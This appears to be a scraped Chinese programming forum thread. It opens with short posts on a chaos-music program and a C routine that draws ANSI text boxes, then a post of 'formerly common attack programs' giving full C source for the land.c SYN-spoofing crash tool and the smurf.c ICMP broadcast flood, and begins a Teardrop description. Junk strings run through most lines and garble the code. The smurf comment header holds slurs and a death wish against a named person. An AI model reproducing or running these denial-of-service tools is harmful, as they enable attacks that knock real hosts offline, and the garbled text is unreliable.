  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
- O3 z5 L# k( j不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
' G3 M" M" q1 }' ?1 x& `" x<FONT color=#009900>/*3 d( J! z2 c0 K. n6 p8 B" x. `
*) C, L7 U: S  q% ?- I
* Short driver module6 h# |7 S( ?& |3 m. M- Z
*% k3 C2 l( k4 f# |
*/</FONT></P><><FONT color=#009900>main()& _/ _# C0 i6 X& N
{
3 y% p. W3 [3 u* Q. c% l3 J9 wclrscr();
- d2 E5 r& R# [3 l( Q! Wbox(1,1,23,79);2 _+ J5 S7 k* w" T' I5 W
box(2,2,21,77);
( p" n. j. g. C( d( y1 i* sbox(3,3,19,75);3 o  m  M( H% ?$ {
box(4,4,17,73);, M( I* K# J' `6 u& j; I
box(5,5,15,71);) D4 S. B) k4 X5 \
box(6,6,13,69);# N" K( l' _/ M7 d* S! H1 b
box(7,7,11,67);
' Q2 K4 I5 y; g) x6 s  mbox(8,8,9,65);) c0 G9 \3 g. Z
box(9,9,7,63);' H# c& Z$ T' }7 d6 N, ?
box(10,10,5,61);- D! v2 ]: G% G5 D, k" k
box(11,11,3,59);
$ x1 v4 R3 ^# \+ lbox(12,12,1,57);/ o; A) ?1 K1 r
poscur(24,1);
) H' n0 p6 G% `1 _7 s1 ?; `) d}</FONT></P><><FONT color=#009900>/************************************************************, d+ P4 C( o4 v  j3 z
* BOX *5 U$ j1 i, N$ S+ z' g9 V+ N
*----------------------------------------------------------*( a& y5 Z3 ~& S1 z
* Written by: Jeff Ebert 7/01/87 *
2 t( C2 e/ d0 |4 f5 b* Modified by: xxxxxxxxxx *
2 g* y0 q  F7 ^+ E% A2 J* *, {3 K" H* F, K( i! e
* Please modify me! *
2 P1 T( B% q! I/ d$ P- t! D6 a* Possible Enhancements include but are not limited t *
; r2 ?0 o8 N9 ^' w7 j7 f* 1) Variable box character styles [1 line or 2] *
+ O7 }8 C6 C+ |; t  v* i* 2) Error checking *
( T) n* h- q- U+ K* 3) Color options *+ _! O- i. r. h' e' P+ o+ X& V
* *( N& E! g6 K+ @' M+ T
* *
" H( U5 g1 r  D) s+ w* This function builds a simple double frame for a menu. *
* H; ^; H9 v, u* i& l/ b& H* The function is passed the parameters for the upper *1 y9 A' S' ^2 ^' a. y0 N& G
* left corner row, upper left corner column the height *4 p7 U! c, t3 v9 @2 `. \$ ^/ F
* of the frame and the width. *
4 Q( D+ B- a( I7 g  a' O7 O6 m* *) A0 P" [% p6 Y* N
************************************************************/# Y( C5 v: N' {" k
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201# d9 t0 a9 w: h4 ^. H& |! Z
#define URCOR 187
9 ]; K' e/ _7 r) t#define LLCOR 200
& t! v$ |3 U- |/ V9 o- k! U#define LRCOR 188
0 Q' @9 K  i* Y) m' x) E$ q4 y#define VBAR 186% `0 V) R% C2 p  G
#define HBAR 205) G! v& y, `+ O9 I& q. Y! s
#define ESC 27</FONT></P><><FONT color=#009900>: H  H! S. j3 L
box(row, col, hgt, wdth)
: F! R3 V! e, A) u" i! c. [int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
& E8 a  ?' k$ qint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
$ H6 _% _, U* c, T( vputchar(ULCOR);/ R/ X3 y/ Z. @: S! a
for(x = col + 1; x &lt;=(col + wdth -1); x++)
) _, o7 h1 q% Q: i+ c' \0 Jputchar(HBAR);5 h! {0 j0 k( Q0 a$ j1 u6 {
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){, {4 l) x4 _( q- ~
poscur(x,col);: y  d9 T, x  {7 N
putchar(VBAR);
5 t; ?& P3 f* V7 y7 b1 rposcur(x,col+wdth);$ W* L' [" W2 [5 `6 E3 G4 l0 Z+ d
putchar(VBAR);0 o0 I) `2 _1 f" T6 ^7 K% p
}7 h1 n5 i6 r: R; I# X
poscur(x,col);
5 t8 f( ^- s  Z- _putchar(LLCOR);
$ N* u" a: h' Y, ifor(x= col + 1; x &lt;=(col + wdth -1); x++)" L6 X* o$ N3 S4 ]; J* H
putchar(HBAR);( c% I' a5 @/ K
putchar(LRCOR);
: m% U. @7 G; ~: s}</FONT></P><><FONT color=#009900>/********************************************************/ S' j9 n+ }# e  C3 I
* POSCUR *9 g' `2 u8 m' O$ T# l" c6 Q
*------------------------------------------------------*
$ R( U& H( f4 [3 q& z# d$ b' o6 @* This function positions the cursor at the specified *
  M  T6 y  n/ B% `* x,y coordinate. It uses the ANSI standard ESCAPE *+ g  Y$ q. {( _& V
* sequence to produce the desired effect. Its not the *' y. `6 Z8 \0 q- A
* fastest way to position the cursor, but perhaps the *
* L5 ]; v4 H' T* P7 x* most portable. *# ^( O* T( j3 J. Z; |4 ~
* *) e& p" W! z+ T' \
********************************************************/5 M" L3 i+ M4 E1 e9 Q
poscur(xcor,ycor). u. S( B  i; H7 P" h) X
int xcor,ycor;2 t4 r. M: [  Z% ~1 ?6 B9 q# f
{
- n9 {" y  d- ?" X2 Aprintf("%c[%d;%dH",ESC,xcor,ycor);
: M$ w  a  a: ~$ h- h8 A}</FONT></P><><FONT color=#009900>
# v4 {" c! z5 }- M' F  B$ i4 a: k8 {/********************************************************3 r, s( s$ p) \2 w
* CLRSCR *: B* m* ~! v1 ^0 v8 _" f
*------------------------------------------------------*
5 K& D# o6 W8 ]/ g" u0 r; D* This function positions the cursor at the specified *6 V) ^5 w* f$ P# f6 V7 k3 x7 R
* x,y coordinate. It uses the ANSI standard ESCAPE *
( c5 \% w7 o; H. n* sequence to produce the desired effect. Its not the *" P2 J: s2 N5 d( e$ l0 F
* fastest way to position the cursor, but perhaps the *
3 s$ |: b3 E. O+ t# O* most portable. *0 q3 a/ U6 x" ^5 \  u' m
* *# S8 K' ^% e2 _/ ?( ~0 [- \
********************************************************/
5 {( ?2 A: I  eclrscr()
( `% @8 B! b1 Q1 C  K6 i{ # u) I+ g& K; g+ r* h" T! S
printf("%c[2J",ESC);
* s5 {3 V% B* d1 o}</FONT>
( E) w4 K# E4 F! c</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract  H* H6 @% c% x6 L
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
# y" N& Q, u! E( p" C' Z' X己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>7 z3 t% F) H( \& m
<FONT color=#009900>/* land.c by m3lt, FLC
! s3 s8 P9 p2 d6 S2 n8 ~3 ]* v1 rcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
, ?3 j2 k9 p$ v6 r0 i! r" d#include <NETDB.H>" N. o* r( [4 k
#include <ARPA inet.h>
1 U( r. `3 B2 l3 M2 G- q#include <NETINET in.h>
- o3 q; l: I! p# E& i" t. {' R2 V5 x#include <SYS types.h>
! G* C% A$ b9 H( e  C2 h3 U#include <SYS socket.h>
0 P4 _) N2 ~, G& C3 {9 X7 ]#include <NETINET ip.h>/ K' E, ~" v( b# u
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头, `) K+ r0 c  O
struct pseudohdr
, Z' J3 W, y6 S/ G4 v4 r. {{
/ l/ N% t7 a% hstruct in_addr saddr;0 Z; Y- \1 L, g0 R- b1 y8 P, z
struct in_addr daddr;
1 M+ M+ g2 M9 k& }) N0 d% S4 B/ cu_char zero;6 r9 t$ w. V$ f, |9 V9 X# D
u_char protocol;
  P- s4 f' A/ @! r- Z: _/ ru_short length;7 a/ W# ~3 ^$ C* K; `2 X0 o- t+ w' Y* _
struct tcphdr tcpheader;1 T2 w2 t- o. [' g3 }# w0 f
};</FONT></P><><FONT color=#009900>//计算IP校验和  S9 ^% u6 R5 q6 x$ F6 d' h$ U
u_short checksum(u_short * data,u_short length): V9 ^! h8 H* i- _# h* W
{
: f2 R% T/ S# }4 f0 wregister long value;4 P+ t# S9 ?. }* }
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
! I9 e" O( v* z2 D/ }7 Pvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)- y, F: L) {( |; z* j
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
8 v3 n! G" R9 w}</FONT></P><><FONT color=#009900>$ z: P  H$ @. b" y  V  U
int main(int argc,char * * argv)
; t2 z' I9 {0 d  q2 S{
, Y4 d4 C( z& U0 |& Z! I9 lstruct sockaddr_in sin;
: T8 d( s/ t3 k1 s4 @struct hostent * hoste;
( v% w; \( A; v- c! I  l, F) {) Bint sock;
$ g  b: v5 |$ I4 y. Qchar buffer[40];
) e+ g2 B8 S5 \struct iphdr * ipheader=(struct iphdr *) buffer;
/ s0 e7 Y9 E1 G7 T8 N4 `! Hstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
' O0 {5 Q' ?9 ostruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
, b2 a% `0 H$ e1 U/ ]; l" [& W& _: W{5 l, J# b$ p! v
fprintf(stderr,"usage: %s IP port\n",argv[0]);, r- U4 K$ ], g$ J' Y8 S" O
return(-1);
. d, f$ N& d+ n  A" O+ r}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
/ R6 g: ^+ J% ?( s7 \; V8 F" zsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
" e( t* Z* N$ H3 N2 a* dbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
6 _( @& l/ v+ belse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
: v, ?! c* i& S0 j9 w4 N1 s{6 Y! f; l' J- i
fprintf(stderr,"unknown host %s\n",argv[1]);
% h/ N* x0 t2 p5 u6 U# R5 _return(-1);" y9 p  U& r6 _8 ]
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
1 y3 h- X+ t5 _4 }: j{
' [6 D! r7 \; ^4 u" g$ gfprintf(stderr,"unknown port %s\n",argv[2]);
  U* H" m) N$ J  E! j4 `return(-1);- X0 e" X3 `! C
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
% a/ E0 b( a1 W) P0 O+ V8 bif((sock=socket(AF_INET,SOCK_RAW,255))==-1)* g1 M; F* Y' [4 f7 H
{% ?1 Y) e+ w. U7 C  g
fprintf(stderr,"couldn't allocate raw socket\n");
# `% z' S/ z0 i+ `' P4 C" r7 G" ^return(-1);6 @+ t+ I: c9 T' N. K1 I) V( i0 Y
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
; D6 m0 F" `0 j- H2 c7 r) ~ipheader-&gt;version=4;
( O4 @+ K' y& k3 S! U9 B" ?ipheader-&gt;ihl=sizeof(struct iphdr)/4;
; ~; f9 w2 j; \: }+ n9 m5 [ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));3 Z6 H2 B  f) y4 L$ ~& ?; F
ipheader-&gt;id=htons(0xF1C);3 d" H  D& I; W* l) I( w
ipheader-&gt;ttl=255;3 }4 r' V7 {! U) F& _9 G/ l
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
. J" B6 m' @$ ?, p9 s, D' ~' eipheader-&gt;saddr=sin.sin_addr.s_addr;
. o" K2 Z0 ^" V8 a6 j9 u' `ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
: \: `1 k8 y! b2 N6 N% L/ r+ o% \5 `tcpheader-&gt;th_sport=sin.sin_port;1 P+ b8 Z0 x* O& }+ X) v
tcpheader-&gt;th_dport=sin.sin_port;' w* q3 O1 l1 e5 ^7 K9 f: a" p
tcpheader-&gt;th_seq=htonl(0xF1C);
, U* x9 h+ `2 [4 [0 K& H; vtcpheader-&gt;th_flags=TH_SYN;
* ?1 y# ?3 l$ Z2 E: k' h; b: Atcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
4 o8 |" D2 |6 V4 a7 Htcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
0 G6 u) u# Y2 W/ \/ J! ]pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;6 D2 \  m4 U1 x4 y7 K
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
4 H9 n, C% p8 a4 Spseudoheader.protocol=6;
7 c  l/ j! U8 _- Z' U* [& D- mpseudoheader.length=htons(sizeof(struct tcphdr));; i* ]( [6 a6 A( ^8 D6 W
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
5 h! R  m* r1 d1 j3 Z3 N9 w& ~, Ytcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
5 ?3 F: H8 N- q0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
1 o, Q; s! E; h, y8 f" K{9 _  {: e% R0 b* V8 Y) R
fprintf(stderr,"couldn't send packet\n");5 W2 \  S3 n( @7 o
return(-1);8 x! r3 v" f2 b2 W9 ]0 V: M
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
1 [9 K% O5 j7 ^: \return(0);
& [% Q7 `3 K7 W+ P4 S+ P}</FONT></P><>+ m* z. |) \) _- Y1 T: B- x
2 Smurf
* G; N! D- ^6 G9 F5 Z( W6 esmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数& J; q% T) g9 j1 X# @# v7 d# E
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包2 C* j' r8 \: w+ b3 Z0 A
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些. \) }: I& t( Z( K9 E2 C4 M
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢: Z& R6 {6 l+ O" L( c  W" @
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
# n& C+ N- G! ]* \) v+ i" v成不可能(没有WINS服务器时)。</P><P>/*
2 H0 z( `. }6 b# u! y% b* @5 E# K+ s*
5 M4 [6 E% `. ?0 F* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
0 t( |4 x2 _9 I*8 F: o& @& A7 D7 F4 M  Q  ]7 x
* spoofs icmp packets from a host to various broadcast addresses resulting, l- H1 g' |* z$ b2 u
* in multiple replies to that host from a single packet.8 N* u4 m! V/ t! V6 n# z3 t8 s
*
8 [6 G# ]9 W6 `0 W2 w% h& v* mad head t7 S( Q$ ^4 F4 B1 i/ p; [4 z) d
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,! O2 e4 \' Q  w& i4 H: J
* MissSatan for swallowing, napster for pimping my sister, the guy that! Z$ q3 K/ `# [5 L+ ]2 A
* invented vaseline, fyber for trying, knowy, old school #havok, kain, L9 n( C6 T2 p" [& Q
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might3 G) ?+ A& T! k, h
* have missed (you know who you are).
3 W7 N/ e6 l1 a- }0 {*
4 X5 c, E2 N- c* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy8 B  R) P. j* D9 T
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
0 l% J. k. K  W. U2 a* S: `4 s* half the cheque).8 f5 B- Z7 ^( U# B/ t
*
& y9 {8 r' P3 m$ X& W# @3 v5 H& q* and a special hi to Todd, face it dude, you're fucking awesome.; ?. l  M4 @6 L- H  Y, ~
*
+ S8 T; \2 T. p* mad anal t- S8 c6 A. v7 L" D$ [- Q5 S0 b! d
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps1 z# u6 X: W* v( n+ l
* because they plain suck, Rolex for being a twit, everyone that, p2 V2 J# E: h$ w
* trades warez, Caren for being a lesbian hoe, AcidKill for being her1 Y! f# U1 N5 u5 C1 N# E7 P& I
* partner, #cha0s, sedriss for having an ego in inverse proportion to/ {5 n6 ~  b6 c( o: Z: V$ O
* his penis and anyone that can't pee standing up -- you don't know what; ]9 E. k6 A' @0 Z0 c: e6 d
* your missing out on.
8 \& t# y- P  Y$ o# Y4 z! s' ~*3 ]2 I, Y$ `; S% N
* and anyone thats ripped my code (diff smurf.c axcast.c is rather* J. g& @( E- j9 x5 `" m
* interesting).2 U% I1 N) |$ k+ V3 Z/ h
*
3 \8 g0 b, v! E, }; K, W" q* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill# K, l' h7 S+ x$ H9 d6 z- d1 ]
* Robbins for trying to steal my girlfriend. Not only did you show me
" k; i* Q% b! E/ A' Q4 A7 k$ v; S* no respect but you're a manipulating prick who tried to take away the
* P+ r, I% H0 H& G8 X4 m/ Y# j" F$ U* {* most important thing in the world to me with no guilt whatsoever, and6 u; j. [7 s$ I# W/ R/ K, e+ J
* for that I wish you nothing but pain. Die.
6 r/ n% R, x+ K: r/ V8 M' o*
0 N& g2 _  \6 Y$ k* disclaimer:$ i5 j; E1 E$ H  K+ [) r
* I cannot and will not be held responsible nor legally bound for the- g' F/ F2 B- G! t5 ^$ n& Y
* malicious activities of individuals who come into possession of this
7 T* G2 @8 w! s4 b* program and I refuse to provide help or support of any kind and do NOT
$ F9 l3 C; B& n+ O9 v0 n* condone use of this program to deny service to anyone or any machine.  y) f( f/ A: A+ x" M
* This is for educational use only. Please Don't abuse this.8 [& `9 j9 ~/ s( t
*& ?! i6 P- ^$ X0 f! a( z% _
* Well, i really, really, hate this code, but yet here I am creating another; t( z: s& f+ z) J# L
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
: {) V/ e* C0 _3 D( Z0 d* like most programmers don't like seeing bugs in their code. I saw a few; ~' Z0 y* |, P6 s  ]( w
* things that should have been done better or needed fixing so I fixed0 Z+ [* w4 n: J" _7 S
* them. -shrug-, programming for me as always seemed to take the pain away
+ ~' i$ E5 v5 r6 {* ...: a! |- Q0 K& |
*0 A) E/ h+ z/ I9 l5 G) I
*
& f& s* l0 T& M0 t4 o! L: q*/</P><P>#include <SIGNAL.H>) y% x- |. s( n6 a/ G: _
#include <STDIO.H>! R* X: ^- N3 @" U( _
#include <STDLIB.H>& ?  D% U" e& Q2 N# ]" i
#include <SYS socket.h>& u: L4 s# y1 g7 {8 L( G& e3 J# \
#include <SYS types.h>
* y* g* n4 ?8 x: |, ^6 A, A#include <NETINET in.h>
) ^+ u6 p. h: ]; ^# q#include <NETINET ip.h>1 n% w( L$ A1 P% l+ s; w9 k$ ]
#include <NETINET ip_icmp.h>
$ r. h% T, j, T: N# s# I  }#include <NETDB.H>) a! [$ }' ~/ u" y
#include <CTYPE.H>
, p3 l: R+ @) L+ g, J6 r- H#include <ARPA inet.h>1 W+ t# k8 i- e5 B
#include <UNISTD.H>
* _' W. ]9 f9 Y1 T' y; G* D#include <STRING.H></P><P>void banner(void);
, B1 g" x4 r( b1 M- ^5 G% R7 rvoid usage(char *);" z# ^- P/ p1 Z, f
void smurf(int, struct sockaddr_in, u_long, int);
+ C; H) U' @4 r: uvoid ctrlc(int);9 o! f* v: B1 N" q- j
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */' D6 E/ O. d' y. {
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])2 _: b% y! s6 G" w2 q  H* _7 _
{
. w% K, z) _% c6 Ustruct sockaddr_in sin;6 T6 X" l  m' t- o7 f- M
struct hostent *he;
9 g; _0 }5 A% u! k' c5 FFILE *bcastfile;
% i4 A/ f3 M5 L( g4 aint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
3 \. c  }' M' F. m4 Wchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
5 M: g- F& m6 g0 ?( A7 I* S5 a" gsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
' M# G; ]* K% {% Z* J) u5 ?perror("resolving source host");' Q% q5 y, @6 K! Y  K* `9 B5 b
exit(-1);8 _& I* t8 \! I3 `( H$ b
}
* U" ~/ c: j5 H, omemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);" Z& k7 o' f, p* ]* D1 V; F" ~# b: b
sin.sin_family = AF_INET;
3 s2 W4 m( q$ S+ G5 N7 ~/ Lsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
$ |. C4 ]- ^7 b- n% Odelay = atoi(argv[4]);
+ V9 F3 Q: [3 [4 W8 A( q8 U% ]  r# }pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {- ~  T1 V' T1 Z" i. |% u
perror("opening bcast file");
8 U7 K. X+ o+ Z$ Z8 k, [2 c) oexit(-1);; A: R$ ]+ Y' W& j; |/ p! Z; d. ]
}
+ D. d9 }7 Q- K; [& n, O6 dx = 0;
1 X7 Y1 n5 T1 M# ?while (!feof(bcastfile)) {2 q( W) k: B5 W7 D/ p; o0 \& p$ o
fgets(buf, 32, bcastfile);3 B5 n- x8 B+ @2 X1 b4 Z
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;! v! u0 y5 I  {' t
for (i = 0; i &lt; strlen(buf); i++)8 q, U& v4 T% X5 s) ^* S* P
if (buf == '\n') buf = '\0';& \% P$ I1 d0 W1 W# B- Z0 }, B
bcastaddr[x] = malloc(32);. _* i) a2 [& ~8 ^' l
strcpy(bcastaddr[x], buf);
7 C; ?2 f7 U4 h+ o1 _x++;) d; J& e8 o. [; X& X  @( M
}8 \4 |* j; `" f3 t! L
bcastaddr[x] = 0x0;
& e9 ]9 g8 z" e) K: [fclose(bcastfile);</P><P>if (x == 0) {
/ w+ }5 p1 ]: E* @fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
- G4 q/ h6 D! m( ^/ U3 |exit(-1);
4 w# c$ @- |8 z8 D2 S}
. G) J1 Q% R+ y! @, |8 Zif (pktsize &gt; 1024) {
& X* l: J" C  Y7 [, {fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");5 T/ D" \" b" ~/ I4 q! c: ]
exit(-1);; S" a4 W7 ~2 N
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {/ `* \6 |, I: q, k8 T
perror("getting socket");7 Y- ^  q! P* q0 I% m  q/ q0 [, ^
exit(-1);
7 l6 o! F  @. Q' m1 t5 U% e}/ h/ _" Q0 y6 F! G# A4 p
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
9 Q8 b3 R' S% |2 t. ^if (!(i % 25)) { printf("."); fflush(stdout); }
8 B  d5 o! N% F9 X4 q5 Ysmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
3 Y( o- R) u0 |- ]6 Q4 @0 Z5 Fcycle++;$ Q$ w6 u/ r7 g% H
if (bcastaddr[cycle] == 0x0) cycle = 0;( \; U, D& S3 E. b
usleep(delay);' Z' U4 m9 |8 K' X! D  b) a) M
}
, O4 j7 z8 b; v4 T6 G# ]puts("\n\n");9 d* P  \$ Q1 j+ s
return 0;
: G, a; |* v1 X% Y8 \% D}</P><P>void banner (void)) ?/ r/ N; k5 O; ~6 |
{
& K5 p3 C2 y* H0 ~$ [; q3 zputs("\nsmurf.c v4.0 by TFreak\n");
5 u3 P; _# [2 o6 }3 ?% J}</P><P>void usage (char *prog)2 H" X( N! f2 |& j
{# k# ~" K' O6 P, o
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
5 i. A! O# C. D# _( D"<NUM packets> <PACKET delay><PACKET size>\n\n"/ I3 t$ f2 V) P8 b) V
"target = address to hit\n"7 ]' t: n' [: [
"bcast file = file to read broadcast addresses from\n"
  |. p% r4 ?- I9 T"num packets = number of packets to send (0 = flood)\n"
* I; K4 v/ t- |"packet delay = wait between each packet (in ms)\n"
' d8 D* c9 G' B( b7 P' L5 G"packet size = size of packet (&lt; 1024)\n\n", prog);
, w8 P4 \! c  {( T1 J/ fexit(-1);
+ t. F! e+ K) b+ H% Y}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)% i, t6 I3 d) b, }2 i
{( r, I( T& a. X1 a5 D& i2 |
struct iphdr *ip;
2 Q6 \. @1 a' b& h# gstruct icmphdr *icmp;% y5 C& C. o, L0 P$ M3 B+ }% T$ Z0 m
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
* k6 N) O! o+ f& B4 ^ip = (struct iphdr *)packet;
# Q4 R/ o" Z3 W. y# {+ a6 K. R4 jicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  o4 D2 g: Q$ c$ gip-&gt;ihl = 5;
5 S$ A: Y/ C6 yip-&gt;version = 4;' p/ b' t7 [9 @
ip-&gt;ttl = 255;
4 q" u4 u& z* R2 s% ^* ?4 Iip-&gt;tos = 0;
' U0 S, u" }6 {# `3 V" l6 zip-&gt;frag_off = 0;
% c  @9 y2 \( a) y9 l5 }) ~) K3 Iip-&gt;protocol = IPPROTO_ICMP;4 ?8 L+ L% e0 b+ M
ip-&gt;saddr = sin.sin_addr.s_addr;
2 F" P/ o1 G: E) t/ Cip-&gt;daddr = dest;
: ?8 \* P4 s/ xip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
- K! l0 y# k0 O7 Z  |- qicmp-&gt;type = 8;  g0 j$ X/ V; f
icmp-&gt;code = 0;* x- g" F! B# q" F# g3 q5 K
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,7 a6 H+ J+ j6 [/ ?/ z: V
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */& n1 p" F  d6 D8 M
}</P><P>void ctrlc (int ignored)1 v: |0 b# I$ S: q+ W+ Y
{0 L( m# {9 F+ O/ o/ J9 K2 G
puts("\nDone!\n");# M! P. F) A. y3 F4 k2 Y
exit(1);. I; E( ^/ K) P2 S7 ]) ?
}</P><P>unsigned short in_chksum (u_short *addr, int len)
# u2 j& Q4 Y8 V+ `1 l% @  k{5 g4 L$ t- a# R
register int nleft = len;
/ e  p) I4 h3 b- Mregister int sum = 0;
  V; Z) G! G$ f$ H# W1 n9 w6 Au_short answer = 0;</P><P>while (nleft &gt; 1) {
6 ~' P0 s/ j: e  `$ osum += *addr++;7 ^+ u) \" W# U
nleft -= 2;
8 R9 K; F0 L7 o" @" X}</P><P>if (nleft == 1) {
! W6 W/ g% b/ c) c2 Z*(u_char *)(&amp;answer) = *(u_char *)addr;! R+ ~) |4 M4 o% n" D4 Q1 k
sum += answer;" v. a! }" W* i9 [
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);/ O; M% Z) W7 r. j
sum += (sum &gt;&gt; 16);
% q8 }4 i2 b' g  ~: t" P8 Q$ tanswer = ~sum;# N, e$ T' P, z$ {7 g
return(answer);# G' d+ g4 Q8 g: d/ R
}</P><P>- ~4 @, s4 s* O) d, \* C! t3 R+ ~
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:5 F% G  o; K# Q, L6 U, S
fp = qp-&gt;fragments;
5 B/ B8 l; j3 E$ m5 W" Pwhile(fp != NULL)# g; S* c$ }' O( S& P/ z# l; b
{2 R2 M! V) Q6 z$ R
if(count+fp-&gt;len &gt; skb-&gt;len). C, I. E2 |% u% L
{
